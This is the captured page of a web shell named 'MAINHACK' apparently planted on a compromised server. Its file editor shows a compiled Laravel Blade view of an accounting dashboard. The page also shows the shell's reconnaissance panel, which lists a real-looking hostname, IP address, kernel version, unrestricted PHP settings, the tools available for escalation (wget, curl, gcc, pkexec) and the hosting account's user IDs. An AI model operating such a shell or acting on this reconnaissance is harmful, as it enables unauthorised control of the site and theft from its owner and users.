[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: f8217e6ca5d553be88b64090a1de3193.php
<?php $__env->startSection('content'); ?> <div class="row"> <div class="col-xl-3 col-md-6"> <div class="card mb-4 success-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5><?php echo e(_lang('Current Month Income')); ?></h5> <h4 class="pt-1 mb-0"><b><?php echo e(formatAmount($current_month_income->total,currency_symbol(request()->activeBusiness->currency))); ?></b></h4> </div> </div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card mb-4 danger-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5><?php echo e(_lang('Current Month Expense')); ?></h5> <h4 class="pt-1 mb-0"><b><?php echo e(formatAmount($current_month_expense->total, currency_symbol(request()->activeBusiness->currency))); ?></b></h4> </div> </div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card mb-4 primary-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5><?php echo e(_lang('Due Invoice Amount')); ?></h5> <h4 class="pt-1 mb-0"><b><?php echo e(formatAmount($invoice->total_amount - $invoice->total_paid, currency_symbol(request()->activeBusiness->currency))); ?></b></h4> </div> </div> </div> </div> </div> <div class="col-xl-3 col-md-6"> <div class="card mb-4 warning-card dashboard-card"> <div class="card-body"> <div class="d-flex"> <div class="flex-grow-1"> <h5><?php echo e(_lang('Due Purchase Amount')); ?></h5> <h4 class="pt-1 mb-0"><b><?php echo e(formatAmount($purchase->total_amount - $purchase->total_paid, currency_symbol(request()->activeBusiness->currency))); ?></b></h4> </div> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-12 mb-4"> <div class="card"> <div class="card-header d-flex align-items-center"> <span><?php echo e(_lang('Cash Flow').' - '._lang('Year of').' '.date('Y')); ?></span> </div> <div class="card-body"> <h5 class="text-center loading-chart"><i class="fas fa-spinner fa-spin"></i> <?php echo e(_lang('Loading Chart')); ?></h5> <canvas id="transactionAnalysis" style="height: 400px"></canvas> </div> </div> </div> </div> <div class="row"> <div class="col-lg-4 col-md-6 mb-4"> <div class="card h-100"> <div class="card-header d-flex align-items-center"> <span><?php echo e(_lang('Income By Category').' - '._lang('Year of').' '.date('Y')); ?></span> </div> <div class="card-body"> <h5 class="text-center loading-chart"><i class="fas fa-spinner fa-spin"></i> <?php echo e(_lang('Loading Chart')); ?></h5> <canvas id="incomeOverview"></canvas> </div> </div> </div> <div class="col-lg-4 col-md-6 mb-4"> <div class="card h-100"> <div class="card-header d-flex align-items-center"> <span><?php echo e(_lang('Expense By Category').' - '._lang('Year of').' '.date('Y')); ?></span> </div> <div class="card-body"> <h5 class="text-center loading-chart"><i class="fas fa-spinner fa-spin"></i> <?php echo e(_lang('Loading Chart')); ?></h5> <canvas id="expenseOverview"></canvas> </div> </div> </div> <div class="col-lg-4 col-md-12 mb-4"> <div class="card h-100"> <div class="card-header d-flex align-items-center"> <span><?php echo e(_lang('Account Balances')); ?></span> </div> <div class="card-body"> <div class="table-responsive"> <table class="w-100"> <thead class="bg-light border"> <th class="p-2 border-right"><?php echo e(_lang('Account Name')); ?></th> <th class="p-2 text-right"><?php echo e(_lang('Balance')); ?></th> </thead> <tbody> <?php if(isset($accounts)): ?> <?php $__currentLoopData = $accounts; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $account): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr class="border"> <td class="p-2 border-right"><?php echo e($account->account_name); ?> (<?php echo e($account->currency); ?>)</td> <td class='p-2 text-right'><?php echo e(formatAmount($account->balance, currency_symbol($account->currency))); ?></td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> </div> <div class="row"> <div class="col-lg-12"> <div class="card mb-4"> <div class="card-header"> <?php echo e(_lang('Recent Transactions')); ?> </div> <div class="card-body"> <table class="table data-table"> <thead> <tr> <th><?php echo e(_lang('Date')); ?></th> <th><?php echo e(_lang('Account')); ?></th> <th><?php echo e(_lang('Category')); ?></th> <th><?php echo e(_lang('Description')); ?></th> <th class="text-right"><?php echo e(_lang('Amount')); ?></th> <th class="text-center"><?php echo e(_lang('Action')); ?></th> </tr> </thead> <tbody> <?php $__currentLoopData = $transactions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $transaction): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <?php $symbol = $transaction->dr_cr == 'dr' ? '-' : '+'; $class = $transaction->dr_cr == 'dr' ? 'text-danger' : 'text-success'; ?> <td><?php echo e($transaction->trans_date); ?></td> <td><?php echo e($transaction->account->account_name); ?> (<?php echo e($transaction->account->currency); ?>)</td> <td> <?php echo e($transaction->category->name); ?> <?php if($transaction->ref_id != null && $transaction->ref_type == 'invoice'): ?> <br><a href="<?php echo e(route('invoices.show', $transaction->ref_id)); ?>" target="_blank"><i class="far fa-eye mr-1"></i><?php echo e(_lang('See Invoice')); ?></a> <?php endif; ?> <?php if($transaction->ref_id != null && $transaction->ref_type == 'purchase'): ?> <br><a href="<?php echo e(route('purchases.show', $transaction->ref_id)); ?>" target="_blank"><i class="far fa-eye mr-1"></i><?php echo e(_lang('See Invoice')); ?></a> <?php endif; ?> </td> <td><?php echo e($transaction->description); ?></td> <td class="text-right"><span class="<?php echo e($class); ?>"><?php echo e($symbol.' '.formatAmount($transaction->amount, currency_symbol($transaction->account->currency))); ?></span></td> <td class="text-center"> <a class="btn btn-xs btn-outline-primary ajax-modal" data-title="<?php echo e(_lang('Transaction Details')); ?>" href="<?php echo e(route('transactions.show', $transaction['id'])); ?>"><i class="far fa-eye mr-1"></i><?php echo e(_lang('Preview')); ?></a> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php $__env->startSection('js-script'); ?> <script src="<?php echo e(asset('public/backend/plugins/chartJs/chart.min.js')); ?>"></script> <script src="<?php echo e(asset('public/backend/assets/js/dashboard.js?v=1.3')); ?>"></script> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/eliosofonline/acc.eliosof.com/resources/views/backend/user/dashboard-user.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002